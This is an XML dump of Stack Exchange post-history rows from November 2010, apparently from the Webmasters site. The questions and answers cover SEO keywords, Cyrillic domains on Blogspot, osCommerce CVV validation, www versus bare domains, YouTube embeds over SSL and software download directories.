  <row Id="12158" PostHistoryTypeId="6" PostId="6075" RevisionGUID="063ca66f-15e2-4bb4-9ecb-401e7d4467f5" CreationDate="2010-11-30T15:41:11.130" UserId="26" Comment="cleanup" Text="&lt;google-analytics&gt;&lt;reporting&gt;" />
  <row Id="12159" PostHistoryTypeId="2" PostId="6089" RevisionGUID="a2cd6107-a376-4b85-9b6c-9324f4ec7def" CreationDate="2010-11-30T15:50:01.980" UserId="1243" Text="&gt; Does the disk.enable and memory.enable set to false override the true setting of use-cache?&#xD;&#xA;&#xD;&#xA;From the mozillaZine link, this would be a reasonable assumption. &quot;This [use-cache] preference controls whether to cache files ... either in memory or on disk.&quot; - and if neither memory or disk caching is enabled then it would be reasonable to assume the page cannot be cached." />
  <row Id="12160" PostHistoryTypeId="2" PostId="6090" RevisionGUID="0eea95ab-550f-4946-ade9-384cb1f975b3" CreationDate="2010-11-30T16:14:21.763" UserId="1955" Text="I am frequently finding sites that use reversed words in domain names and content. Just an example: www.elgoog.com or something like &quot;Sincerely yours elgoog&quot;.  &#xD;&#xA;&#xD;&#xA;Does these word have value in SEO and SERP?  &#xD;&#xA;Is there any bonuses from them?  &#xD;&#xA;Does the search engines recognize them?&#xD;&#xA;&#xD;&#xA;Where is the trick? Does their use really brings benefits or its just a placebo?" />
  <row Id="12161" PostHistoryTypeId="1" PostId="6090" RevisionGUID="0eea95ab-550f-4946-ade9-384cb1f975b3" CreationDate="2010-11-30T16:14:21.763" UserId="1955" Text="SEO and reversed (key)words" />
  <row Id="12162" PostHistoryTypeId="3" PostId="6090" RevisionGUID="0eea95ab-550f-4946-ade9-384cb1f975b3" CreationDate="2010-11-30T16:14:21.763" UserId="1955" Text="&lt;seo&gt;&lt;content&gt;&lt;keywords&gt;&lt;serps&gt;" />
  <row Id="12163" PostHistoryTypeId="2" PostId="6091" RevisionGUID="0cc2d21d-fd2f-48cf-b531-b06180d23ae6" CreationDate="2010-11-30T16:16:55.743" UserId="1253" Text="There's no SEO benefit to this at all. Unless someone is looking for those backwards words there is nothing to be gained from doing this. The search engines do not tie them to the correctly spelled words as they are not synonyms." />
  <row Id="12164" PostHistoryTypeId="2" PostId="6092" RevisionGUID="d86fbaaa-5ce5-40bb-93a7-ac10ef98b2d1" CreationDate="2010-11-30T16:21:23.473" UserId="3561" Text="I have a cyrillic domain `*.рф` and a blog `*.blogspot.com`.  &#xD;&#xA;Now I want to link my domain to blog. I followed this [official manual](http://www.google.com/support/blogger/bin/answer.py?answer=55373), but when I tried to put my domain name into blog preferences (at *Settings &gt; Publishing*), it sais, that I gave invalid domain name. Punycode also doesn't work." />
  <row Id="12165" PostHistoryTypeId="1" PostId="6092" RevisionGUID="d86fbaaa-5ce5-40bb-93a7-ac10ef98b2d1" CreationDate="2010-11-30T16:21:23.473" UserId="3561" Text="How to link .рф domain to blogspot?" />
  <row Id="12166" PostHistoryTypeId="3" PostId="6092" RevisionGUID="d86fbaaa-5ce5-40bb-93a7-ac10ef98b2d1" CreationDate="2010-11-30T16:21:23.473" UserId="3561" Text="&lt;domains&gt;&lt;blogger&gt;" />
  <row Id="12167" PostHistoryTypeId="2" PostId="6093" RevisionGUID="74a9e0b2-75e9-41cc-aa99-49ac903d9666" CreationDate="2010-11-30T17:06:04.067" UserId="2930" Text="I am very new in this field and I wanted to do SEO for my [blog][1] .&#xD;&#xA;&#xD;&#xA; 1. How many keywords should I select?&#xD;&#xA; 2. After selecting the keywords,should&#xD;&#xA;    I always focus on those keywords&#xD;&#xA;    only?I mean whatever the post is I&#xD;&#xA;    must add those keywords?or should it&#xD;&#xA;    depend upon the posts?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com/" />
  <row Id="12168" PostHistoryTypeId="1" PostId="6093" RevisionGUID="74a9e0b2-75e9-41cc-aa99-49ac903d9666" CreationDate="2010-11-30T17:06:04.067" UserId="2930" Text="How many keywords should be selected for SEO?" />
  <row Id="12169" PostHistoryTypeId="3" PostId="6093" RevisionGUID="74a9e0b2-75e9-41cc-aa99-49ac903d9666" CreationDate="2010-11-30T17:06:04.067" UserId="2930" Text="&lt;seo&gt;" />
  <row Id="12171" PostHistoryTypeId="2" PostId="6095" RevisionGUID="03cdef1d-4f18-4a7f-a8dc-3c8487f24a4c" CreationDate="2010-11-30T17:19:10.330" UserId="1253" Text="There is no number of keywords for a blog or a website. It's a number per page as it's the pages that are ranked, not entire sites or blogs. Each page should be about a very specific topic so the number of keywords it targets, intentionally or not, shouldn't be very large. If you find a page covers a large number of keywords that may be a sign it needs to be split up into multiple pages or posts. &#xD;&#xA;&#xD;&#xA;I'm not going to give you a specific number of keywords to target per page as not only isn't there a set number, but you should be writing your content for your users and not focusing on how you can fit keywords into the content. If you write your content properly you'll find that approximately a handful of popular/semi-popular keywords will be targeted naturally for you with a bunch of long tail keywords sprinkled in, too." />
  <row Id="12172" PostHistoryTypeId="2" PostId="6096" RevisionGUID="2cadf96b-f177-40ac-9f61-c2e68a0a201b" CreationDate="2010-11-30T17:31:24.897" UserId="9329" Text="I have a message boards. Once in a while, some people contact us to remove anything related to them. We comply and delete all the posts and all traces. Some of those visitors still complain that they still appear on Google.&#xD;&#xA;&#xD;&#xA;What can I tell them? Is there a link on Google explaining the whole cache thing, how often they update, etc ...&#xD;&#xA;&#xD;&#xA;I'm looking for a canned answer that would shift the responsibility away from me." />
  <row Id="12173" PostHistoryTypeId="1" PostId="6096" RevisionGUID="2cadf96b-f177-40ac-9f61-c2e68a0a201b" CreationDate="2010-11-30T17:31:24.897" UserId="9329" Text="How to explain visitors that we don't control Google's results?" />
  <row Id="12174" PostHistoryTypeId="3" PostId="6096" RevisionGUID="2cadf96b-f177-40ac-9f61-c2e68a0a201b" CreationDate="2010-11-30T17:31:24.897" UserId="9329" Text="&lt;google&gt;&lt;indexing&gt;&lt;cache&gt;" />
  <row Id="12175" PostHistoryTypeId="2" PostId="6097" RevisionGUID="0182daf0-bf5f-4e64-9722-b62af007bedc" CreationDate="2010-11-30T17:44:00.727" UserId="3562" Text="Here's some related information from Google themselves:&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=164133&amp;cbid=-a2l7h00q1r9q&amp;src=cb&amp;lev=%20answer" />
  <row Id="12176" PostHistoryTypeId="2" PostId="6098" RevisionGUID="cafb65f2-83f1-4f99-b94e-d80853125f1e" CreationDate="2010-11-30T18:03:02.230" UserId="3562" Text="The best way to address the third is using taxonomy.  You'll have a vocabulary setup and the terms you want to use for charmain's speeches and community news are under that vocabulary (maybe call the vocabulary &quot;News Categories&quot;).  You can make it so your news items use this taxonomy vocabulary (optional or required) and then you'll select one (or many) when you make a new post.  &#xD;&#xA;&#xD;&#xA;Drupal will automatically create a taxonomy term page for the new terms when you have posts tagged with them.  Just get the URLs and use those as your menu path for those menu links." />
  <row Id="12177" PostHistoryTypeId="2" PostId="6099" RevisionGUID="a6c16d57-b32d-441b-8cc7-8766a2636d7f" CreationDate="2010-11-30T18:04:44.557" UserId="3467" Text="If you're talking about meta keywords, you should try and set keywords for each page differently, according to what info is in the page. Mind that Google doesn't pay attention to meta keywords anymore. Anyway, when going for SEO you should keep this in mind:&#xD;&#xA;&#xD;&#xA;* Select a few keywords that are related to the page's scope and are related to what people will look for. When writing about car insurance, don't waste any effort by adding 'car' or 'insurance' as separate keywords. Use 'car insurance' instead. When writing about Lady GaGa (random example) don't add Gwen Stefani in the keywords &quot;because people who are interested in her surely are interested in GaGa as well&quot;. It doesn't work that way:&#xD;&#xA;&#xD;&#xA;* Choose keywords that are present in the page's contents. You can have slight variations (fulfilment vs. fulfillment, blog vs. weblog) but don't use keywords that don't appear in the contents at all&#xD;&#xA;&#xD;&#xA;* Try not to use more than 5 keywords for a page, plus a valid alternate spelling / variant of each. 5 to 10 is usually acceptable, more is spammy. Don't go for misspellings, it's a waste of effort. Maybe scoring high for Britny Spears will get you some of the people that can't spell to your site, but there's always 100x more people that will spell it right. Google will correct your misspellings anyway, so don't bother. Oh, also put your keywords in order of relevance. Apparently some search engines mark earlier keywords as more important, though I have never seen proof of this.&#xD;&#xA;&#xD;&#xA;* In the page's content, try to avoid using each keyword more than one in 20 words. More will look like keywords cramming and search engines don't like that. &#xD;&#xA;&#xD;&#xA;So short answer:&#xD;&#xA;&#xD;&#xA;1. five to ten&#xD;&#xA;2. _always_ base keywords on the page itself, not the entire website" />
  <row Id="12178" PostHistoryTypeId="2" PostId="6100" RevisionGUID="29ae238c-cc48-416b-9ccb-ab620cd08939" CreationDate="2010-11-30T18:06:18.700" UserDisplayName="Chris K." Text="The best way to communicate this is to liken it to the Postal system. If you change addresses you let the post office know, but it's up to them to make sure the mail gets to your new location." />
  <row Id="12179" PostHistoryTypeId="2" PostId="6101" RevisionGUID="630e424e-6c03-4f3f-869e-0be0881d636a" CreationDate="2010-11-30T18:11:03.830" UserDisplayName="Fabian" Text="There's probably no way to do it at the moment, since their algorithms to check for a valid domain name has not been updated. File a complaint directly with them.&#xD;&#xA;&#xD;&#xA;On a side note: With a *.рф domain name you'll run into trouble like this for many years to come. All kind of validation scripts that worked for years will fail to work with these newfangled domain names. I can understand the desire of people from non-Latin countries to have localized domains, but IMHO it'll cause serious damage and confusion. 7bit ASCII is the way to go for the next 20 years." />
  <row Id="12180" PostHistoryTypeId="2" PostId="6102" RevisionGUID="0f9ce097-f90f-4942-91f6-026c7ea1e7a5" CreationDate="2010-11-30T18:13:51.833" UserId="3467" Text="I agree with John Conde, be happy with the links and focus on other things. If you see someone write a really good review who has his personal website listed in his profile, maybe ask him to post a link to your site with a short description." />
  <row Id="12181" PostHistoryTypeId="2" PostId="6103" RevisionGUID="1b8d01e9-dac2-427a-ad2b-c22ebb293af3" CreationDate="2010-11-30T18:23:56.660" UserId="3467" Text="vBulletin is the best forum software from a user/administrator perspective imo, but for developers it's really annoying. The code is very complicated, themes have to be edited inside the browser in small textareas as they are saved in the database (so no Eclipse or Zend Development Environment :( ) and writing plugins can be a challenge too sometimes, especially when you need certain global variables. They have added a lot of hooks over the years though, which is pretty useful for making plugins. &#xD;&#xA;&#xD;&#xA;If it's going to support a rather big community and you don't have a lot to develop for it, take vBulletin. If you have to develop a lot, want freedom in your html templates and don't have a +10k userbase, you should try something else. MyBB sounds promising." />
  <row Id="12182" PostHistoryTypeId="2" PostId="6104" RevisionGUID="9ab42e64-aa4f-4c1e-9b54-7792955e34b6" CreationDate="2010-11-30T18:37:25.793" UserId="1953" Text="Forum links do often carry value, if you want to get more out of them though consider engaging in the conversation, if someone gives a great review and says to check with you, you can thank the customer that recommended you and save the poster time by answering their question right there. This will help build your reputation online as well as build relationships with those active online in your niche. As mentioned by Litso many people who are active in forums also have blogs or websites by building a reputation as someone that is helpful, knowledgeable, and approachable you increase the opportunity that they'll list you as a resource on their website, or ask you to guest post on their blog etc. &#xD;&#xA;&#xD;&#xA;So the short answer is forum links in general can be valuable depending on the forum and the niche but it's the reputation/relationships you build by participating in the forums that will give you the most benefit in terms of link building.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12183" PostHistoryTypeId="5" PostId="6067" RevisionGUID="124f059b-a189-4563-af4b-8ad0b325f903" CreationDate="2010-11-30T20:14:52.440" UserId="138" Comment="edited body" Text="My GoDaddy domain expired and I just let it. You do lose the rights to it though." />
  <row Id="12184" PostHistoryTypeId="2" PostId="6105" RevisionGUID="65dc7c78-962d-4db8-b6c3-d1c5a7f20b61" CreationDate="2010-11-30T20:18:26.977" UserId="3567" Text="Hi I need to add a CVV code for verifying credit cards upon check out on my osCommerece shopping cart. I think this will involve a code for the authorize.net php and the checkout processing php but not sure. Found this great write up, [link text][1], but it is only for the authorize.net php and it doesn't create a filed for the CVV to be keyed. Also it throws an error with the 'echo validate.' Can't seem to find anything in any forums for osCommerce or any place out. Hoping someone here will have some knowledge. Thanks. &#xD;&#xA;&#xD;&#xA;  [1]: http://community.developer.authorize.net/t5/The-Authorize-Net-Developer-Blog/Validating-Credit-Card-Information-Part-3-of-3-CVV-Numbers/ba-p/7657" />
  <row Id="12185" PostHistoryTypeId="1" PostId="6105" RevisionGUID="65dc7c78-962d-4db8-b6c3-d1c5a7f20b61" CreationDate="2010-11-30T20:18:26.977" UserId="3567" Text="CVV Code For Authorize.com using osCommerce" />
  <row Id="12186" PostHistoryTypeId="3" PostId="6105" RevisionGUID="65dc7c78-962d-4db8-b6c3-d1c5a7f20b61" CreationDate="2010-11-30T20:18:26.977" UserId="3567" Text="&lt;code&gt;" />
  <row Id="12187" PostHistoryTypeId="2" PostId="6106" RevisionGUID="a3a74866-187a-4a7b-bf11-d6adc43d98a6" CreationDate="2010-11-30T20:26:26.407" UserId="138" Text="The only way I know of to do this is an [Anycast network][1].&#xD;&#xA;&#xD;&#xA;Basically it's a bastardisations of the DNS and BGP systems, and no, they're not something an average person can set up, it requires a *lot* of infrastructure and know-how and technological resources, not to mention your own AS and your own IP range.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Anycast" />
  <row Id="12188" PostHistoryTypeId="16" PostId="6032" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-11-30T20:37:40.650" UserId="180" />
  <row Id="12189" PostHistoryTypeId="16" PostId="6008" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-11-30T20:37:40.650" UserId="180" />
  <row Id="12190" PostHistoryTypeId="5" PostId="6105" RevisionGUID="da4ec679-384a-41a1-b82a-1977843153d0" CreationDate="2010-11-30T20:58:55.117" UserId="138" Comment="deleted 5 characters in body; edited tags" Text="Hi I need to add a CVV code for verifying credit cards upon check out on my osCommerece shopping cart. I think this will involve a code for the authorize.net php and the checkout processing php but not sure.&#xD;&#xA;&#xD;&#xA;[Found this great write up][1], but it is only for the authorize.net php and it doesn't create a filed for the CVV to be keyed. Also it throws an error with the 'echo validate.' Can't seem to find anything in any forums for osCommerce or any place out.&#xD;&#xA;&#xD;&#xA;Hoping someone here will have some knowledge. Thanks. &#xD;&#xA;&#xD;&#xA;  [1]: http://community.developer.authorize.net/t5/The-Authorize-Net-Developer-Blog/Validating-Credit-Card-Information-Part-3-of-3-CVV-Numbers/ba-p/7657" />
  <row Id="12191" PostHistoryTypeId="6" PostId="6105" RevisionGUID="da4ec679-384a-41a1-b82a-1977843153d0" CreationDate="2010-11-30T20:58:55.117" UserId="138" Comment="deleted 5 characters in body; edited tags" Text="&lt;oscommerce&gt;&lt;authorize.com&gt;" />
  <row Id="12192" PostHistoryTypeId="2" PostId="6107" RevisionGUID="8e7c4c47-2f76-4982-ba69-df0fdb04989b" CreationDate="2010-11-30T20:56:56.483" UserDisplayName="Sam" Text="1. **http://yoursite.com**&#xD;&#xA;&#xD;&#xA;2. **www.yoursite.com** &#xD;&#xA;&#xD;&#xA;3. **http://www.yoursite.com** &#xD;&#xA;&#xD;&#xA;4. **yoursite.com** &#xD;&#xA;&#xD;&#xA;Which of the two would you choose as the base url if you were to make a site for 2011 and beyond, which domainname would you give out to others? Others are clients, websites linking to you, your letterhead, contact cards. Why one OR other? Which to avoid?&#xD;&#xA;&#xD;&#xA;Thinking of the following aspects:&#xD;&#xA;&#xD;&#xA; - easy to remember&#xD;&#xA; - url address as a brand&#xD;&#xA; - misspellings by users&#xD;&#xA; - length for easy user input (from contactcard)&#xD;&#xA; - method of peferance by social media sites&#xD;&#xA; - method of pereferance by major search engines&#xD;&#xA; - consistency sothat links dont fragment but all point to the same" />
  <row Id="12193" PostHistoryTypeId="1" PostId="6107" RevisionGUID="8e7c4c47-2f76-4982-ba69-df0fdb04989b" CreationDate="2010-11-30T20:56:56.483" UserDisplayName="Sam" Text="WWW.yoursite.com or HTTP://yoursite.com  which one is futureproof?" />
  <row Id="12194" PostHistoryTypeId="3" PostId="6107" RevisionGUID="8e7c4c47-2f76-4982-ba69-df0fdb04989b" CreationDate="2010-11-30T20:56:56.483" UserDisplayName="Sam" Text="&lt;http&gt;&lt;url&gt;&lt;url-rewriting&gt;&lt;user-input&gt;&lt;no-www&gt;" />
  <row Id="12195" PostHistoryTypeId="17" PostId="6107" RevisionGUID="77ddc800-56b7-48ba-8d77-8ab0b0fda1cf" CreationDate="2010-11-30T20:59:16.873" UserId="-1" Comment="from http://stackoverflow.com/questions/4318550/www-yoursite-com-or-http-yoursite-com-which-one-is-futureproof" Text="" />
  <row Id="12196" PostHistoryTypeId="2" PostId="6108" RevisionGUID="be858d60-d1ab-4d76-b188-796d0bf77074" CreationDate="2010-11-30T21:03:09.713" UserId="2590" Text="## Online: yoursite.com ##&#xD;&#xA;## Print: http://yoursite.com ##&#xD;&#xA;## Links: http://yoursite.com ##&#xD;&#xA;&#xD;&#xA;I don't see how any of this relates to 'futureproof'ing anything.  Your DNS and web-server should be set so that www.yoursite.com and yoursite.com are the same site.  A real link (for someone linking to you,) is always going to start with http:// as that is the web protocol handler.  On printed marketing material, it makes sense to use http:// unless specifically labelled as a website.  &#xD;&#xA;&#xD;&#xA;i.e. `http://yoursite.com`  &#xD;&#xA;vs  &#xD;&#xA;`Visit our website: yoursite.com`&#xD;&#xA;" />
  <row Id="12197" PostHistoryTypeId="2" PostId="6109" RevisionGUID="72469a8f-daa2-4ea7-9fb8-7ac4824eef54" CreationDate="2010-11-30T21:09:10.003" UserId="3569" Text="The `www` prefix is useless and a relict of the &quot;initial internet&quot; (see rfc-ignorant.org).&#xD;&#xA;&#xD;&#xA;Explicitly naming a protocol (http/https) is also useless. The webserver does necessary redirections for you.&#xD;&#xA;&#xD;&#xA;If you want a prediction, I think nobody will be able to present one to you. Users will always handle domain names the way their favorite browser do. In the 90s, when entering 'domain.tld' in say, Netscape Communicator, and 'domain.tld' had no DNS A-record, the message was &quot;domain.tld could not be resolved.&quot; Now all browsers try &quot;domain.tld&quot; and will automatically try &quot;www.domain.tld&quot; after a NX response from the nameserver for &quot;domain.tld&quot;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12198" PostHistoryTypeId="2" PostId="6110" RevisionGUID="3bb13382-0dd9-408e-9491-9d22e0e9046c" CreationDate="2010-11-30T21:11:40.627" UserId="1253" Text="I don't know if the http:// is really required as mentioned above. Most browsers will assume http:// when a URL is type into the address bar if it is not present when the enter button is pressed. I'd say it only really is necessary in hyperlinks as then it is necessary for the link to function properly (unless the browsers assume http:// but at last check they didn't).&#xD;&#xA;&#xD;&#xA;In print with or without the &quot;www&quot; is a tomato / tom&amp;aacute;to situation. Users are familiar with the www and older web surfers will remember the days when it was required and is now habit. But it's also very common to see domains advertised without it so i don't leaving it off will confuse enough people to be concerned about it.&#xD;&#xA;&#xD;&#xA;My advice is to choose one, any one, and stick with it. Consistency is key (and good usability).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12199" PostHistoryTypeId="2" PostId="6111" RevisionGUID="070f88fd-9bbf-4f31-b480-b074cdfc0d7b" CreationDate="2010-11-30T21:15:53.057" UserId="1937" Text="Personally I would put `domain.com` on contact cards,etc and have it redirect to `www.domain.com`. This can be done with a simple rewrite. &#xD;&#xA;&#xD;&#xA;The reason for this is that my users should never be concerned with having to type `www`. I absolutely hate sites that require people to type the `www` - I think it's a completely outdated requirement from years gone by.&#xD;&#xA;&#xD;&#xA;You would, however, want to 301 redirect from `domain.com` or `www.domain.com`. In fact, to anything. The point is to pick your favourite and set all the different ways to get to your site to redirect to the same place so that you aren't penalised for dupe content (I can't remember the SEO term).&#xD;&#xA;&#xD;&#xA;The protocol is useless, since browsers will put it in for you (in fact, Chrome doesn't even show it).&#xD;&#xA;&#xD;&#xA;Another reason that I have everything redirect to `www.domain.com` is due to cookies. For example, the cookies on `www.domain.com` will be completely separate from `static.domain.com` but any cookie set on `domain.com` will be sent with the HTTP request to `sub1.domain.com`, `sub2.domain.com`, etc. Although this is just my preference." />
  <row Id="12200" PostHistoryTypeId="2" PostId="6112" RevisionGUID="3565876b-3cc4-45d9-9c8b-e8bab7ed73d5" CreationDate="2010-11-30T21:28:35.157" UserId="2629" Text="I find this quite curious.&#xD;&#xA;&#xD;&#xA;When you search: &#xD;&#xA;&#xD;&#xA; - [Search engines][1]&#xD;&#xA; - [Search engine][2]&#xD;&#xA; - [Best search engine][3]&#xD;&#xA; - [Search the web][4]&#xD;&#xA; - [Quickest search engine][5]&#xD;&#xA;&#xD;&#xA;Bing:&#xD;&#xA;&#xD;&#xA; - [Search engine][6]&#xD;&#xA;&#xD;&#xA;Dogpile:&#xD;&#xA;&#xD;&#xA; - [Search engine][7]&#xD;&#xA;&#xD;&#xA;Basically, unless you [spell it out for it][8], you wont get google anywhere near the first position.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][9]&#xD;&#xA;&#xD;&#xA;I find this borderline annoying :)&#xD;&#xA;&#xD;&#xA;I don´t really need to lay out for you what google's business is, it should get relevant results, and the most relevant result, for any of this searches, would of course be google.&#xD;&#xA;&#xD;&#xA;Is this because they don't have relevant content at their home page? &#xD;&#xA;&#xD;&#xA;Because the only got the &quot;app&quot; in the home page and no text? I guess they are not short in link-building! (or SEO techniques)&#xD;&#xA;&#xD;&#xA;I simply want to know if anyone could help me understand why this could be happening.&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;BTW I hope this is the right place in the SE network to ask, if not, please tell me.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=search+engines&#xD;&#xA;  [2]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=search+engines#sclient=psy&amp;hl=en&amp;source=hp&amp;q=search+engine&amp;aq=f&amp;aqi=g4g-o1&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=8ac6b4cea9b27ecb&#xD;&#xA;  [3]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=search+engines#hl=en&amp;expIds=17259,18167,27642,27740,27744,27752,27823,27867&amp;sugexp=ldymls&amp;xhr=t&amp;q=best+search+engine&amp;cp=9&amp;qe=YmVzdCBzZWFj&amp;qesig=JhaSDaUIiujgDwTEw8SmtA&amp;pkc=AFgZ2tl08woKOw_QKMTvbE4Pp6Tf2Tp20e4GpbTGqvhvVwPwG_7I7Qtc2izpMaBsl-lr2_lS-fRMhc6Uj_SIFu7IZvMfTLTGig&amp;pf=p&amp;sclient=psy&amp;aq=0s&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=8ac6b4cea9b27ecb&#xD;&#xA;  [4]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=search+engines#sclient=psy&amp;hl=en&amp;q=serch+the+web&amp;aq=f&amp;aqi=g-s1g-sx3g-o1&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=8ac6b4cea9b27ecb&#xD;&#xA;  [5]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=search+engines#hl=en&amp;expIds=17259,18167,27642,27740,27744,27752,27823,27867&amp;sugexp=ldymls&amp;xhr=t&amp;q=quickest+search+engine&amp;cp=17&amp;qe=cXVpY2tlc3Qgc2VhcmNoIGU&amp;qesig=ZKQUqfwtaZEyTkdds6-0RQ&amp;pkc=AFgZ2tl08woKOw_QKMTvbE4Pp6Tf2Tp20e4GpbTGqvhvVwPwG_7I7Qtc2izpMaBsl-lr2_lS-fRMhc6Uj_SIFu7IZvMfTLTGig&amp;pf=p&amp;sclient=psy&amp;aq=0v&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=8ac6b4cea9b27ecb&#xD;&#xA;  [6]: http://www.bing.com/search?q=search+engine&amp;go=&amp;form=QBLH&amp;filt=all&#xD;&#xA;  [7]: http://www.dogpile.com/dogpile/ws/results/Web/search%20engine/1/114/TopNavigation/Relevance/iq=true/zoom=off/qlnk=1/_iceUrlFlag=7?_IceUrl=true&#xD;&#xA;  [8]: http://www.google.com/search?aq=f&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=google&#xD;&#xA;  [9]: http://i.stack.imgur.com/ASSx7.png" />
  <row Id="12201" PostHistoryTypeId="1" PostId="6112" RevisionGUID="3565876b-3cc4-45d9-9c8b-e8bab7ed73d5" CreationDate="2010-11-30T21:28:35.157" UserId="2629" Text="Google has a bad SEO?" />
  <row Id="12202" PostHistoryTypeId="3" PostId="6112" RevisionGUID="3565876b-3cc4-45d9-9c8b-e8bab7ed73d5" CreationDate="2010-11-30T21:28:35.157" UserId="2629" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="12203" PostHistoryTypeId="2" PostId="6113" RevisionGUID="f7c28b62-88f7-4d60-af2a-f0ca62e71dc4" CreationDate="2010-11-30T21:44:11.637" UserId="745" Text="Can you explain why Google would need to have itself appear as a result for the phrase 'search engines' when someone is already searching for search engines *while using Google*? One would think that if someone is searching for something on Google, they would know that Google is a search engine.&#xD;&#xA;&#xD;&#xA;As for other search engines, Google is their biggest competitor. They don't have any business reasons to place Google first.&#xD;&#xA;&#xD;&#xA;Finally, Google doesn't have the phrase 'search engine' on their home page. And if someone is going to link to Google's homepage, they are far more likely to do it using the anchor text 'Google' than 'search engine'. Google has transcended being simply a noun or a brand and has become a verb. People now google things, just as they use a kleenex rather than a tissue." />
  <row Id="12204" PostHistoryTypeId="2" PostId="6114" RevisionGUID="caf49bd2-6122-46d6-ab27-0bd5f7d69dff" CreationDate="2010-11-30T22:07:45.257" UserDisplayName="Eduboris" Text="you are thinking about this a little wrong, &#xD;&#xA;&#xD;&#xA;Most popular reasons to having SEO is getting traffic to your site and in most cases then conversion of this traffic if you are selling something or using advertising such as adsense (google) or adbrite for profit, otherwise you're a none profit type of site (google isn't they get advertising money as 95% of their profit)... &#xD;&#xA;&#xD;&#xA;so with this in mind how do people get to google most of the time? &#xD;&#xA;&#xD;&#xA; - bookmark directly type in google.com &#xD;&#xA; - or type'google' to your browser&#xD;&#xA; - or default search engine (note: if google or not, it will show google.com) &#xD;&#xA; - or finally it's your home page and you start typing there&#xD;&#xA;&#xD;&#xA;anyway you see that they have (probably) 0% of people searching for 'search engines' to find/get to google, therefore they don't target those keywords anywhere on their site.&#xD;&#xA;&#xD;&#xA;Also this is a good indicator to show that their organic results are not tempered with in their own favor&#xD;&#xA;&#xD;&#xA;hope this helps!" />
  <row Id="12205" PostHistoryTypeId="5" PostId="6114" RevisionGUID="c477e5af-1a68-4a5e-8d69-8a253974a19f" CreationDate="2010-11-30T22:13:27.753" UserDisplayName="Eduboris" Comment="added 3 characters in body" Text="you are thinking about this a little wrong, &#xD;&#xA;&#xD;&#xA;Most popular reasons to having SEO is getting traffic to your site and in most cases then conversion of this traffic if you are selling something or using advertising such as adsense (google) or adbrite for profit, otherwise you're a none profit type of site (google isn't they get advertising money as 95% of their profit)... &#xD;&#xA;&#xD;&#xA;so with this in mind how do people get to google most of the time? &#xD;&#xA;&#xD;&#xA; - bookmark or directly type in google.com &#xD;&#xA; - or type'google' to your browser&#xD;&#xA; - or default search engine (note: if google or not, it will show google.com) &#xD;&#xA; - or finally it's your home page and you start typing there&#xD;&#xA;&#xD;&#xA;anyway you see that they have (probably) 0% of people searching for 'search engines' to find/get to google, therefore they don't target those keywords anywhere on their site.&#xD;&#xA;&#xD;&#xA;Also this is a good indicator to show that their organic results are not tempered with in their own favor&#xD;&#xA;&#xD;&#xA;hope this helps!" />
  <row Id="12206" PostHistoryTypeId="2" PostId="6115" RevisionGUID="4145a804-dea1-4563-8b40-90dd68bdb2c8" CreationDate="2010-11-30T23:30:34.730" UserDisplayName="Matthew" Text="Anyone else have problem using a YouTube Embed Code on a https site?&#xD;&#xA;The security warning pops up in Internet Explorer telling your users they are loading unsecured data on a secure site. YouTube doesn't have a SSL installed on their domain. &#xD;&#xA;&#xD;&#xA;Anyone know of a workaround for this?" />
  <row Id="12207" PostHistoryTypeId="1" PostId="6115" RevisionGUID="4145a804-dea1-4563-8b40-90dd68bdb2c8" CreationDate="2010-11-30T23:30:34.730" UserDisplayName="Matthew" Text="YouTube Embed SSL Errors" />
  <row Id="12208" PostHistoryTypeId="3" PostId="6115" RevisionGUID="4145a804-dea1-4563-8b40-90dd68bdb2c8" CreationDate="2010-11-30T23:30:34.730" UserDisplayName="Matthew" Text="&lt;ssl&gt;&lt;embed&gt;" />
  <row Id="12209" PostHistoryTypeId="2" PostId="6116" RevisionGUID="30bf350c-fd3d-4ae1-bc0b-112dfbcd6397" CreationDate="2010-11-30T23:57:21.817" UserId="3572" Text="In the past if you wanted visibility you would create a standardized pad file and you would submit it to hundreds of directories or you used web service that would do that for you. &#xD;&#xA;How about today? I think download directories are pretty much dead?" />
  <row Id="12210" PostHistoryTypeId="1" PostId="6116" RevisionGUID="30bf350c-fd3d-4ae1-bc0b-112dfbcd6397" CreationDate="2010-11-30T23:57:21.817" UserId="3572" Text="Download directories are dead?" />
  <row Id="12211" PostHistoryTypeId="3" PostId="6116" RevisionGUID="30bf350c-fd3d-4ae1-bc0b-112dfbcd6397" CreationDate="2010-11-30T23:57:21.817" UserId="3572" Text="&lt;link-submission&gt;" />
  <row Id="12212" PostHistoryTypeId="5" PostId="6116" RevisionGUID="d1dfe4bb-0efd-49f4-951e-59b0309f1247" CreationDate="2010-12-01T00:23:02.473" UserId="3572" Comment="added 247 characters in body; edited title; edited tags" Text="We have just released a new major software product version.&#xD;&#xA;&#xD;&#xA;In the past if you wanted visibility you would create a standardized pad file and you would submit it to hundreds of directories or you used web service that would do that for you. &#xD;&#xA;These directories would then serve as first incoming links to your web site.&#xD;&#xA;&#xD;&#xA;How about today? I think download directories are pretty much dead?&#xD;&#xA;Do you think this is still good SEO approach today? Are these software download directories useless?&#xD;&#xA;" />
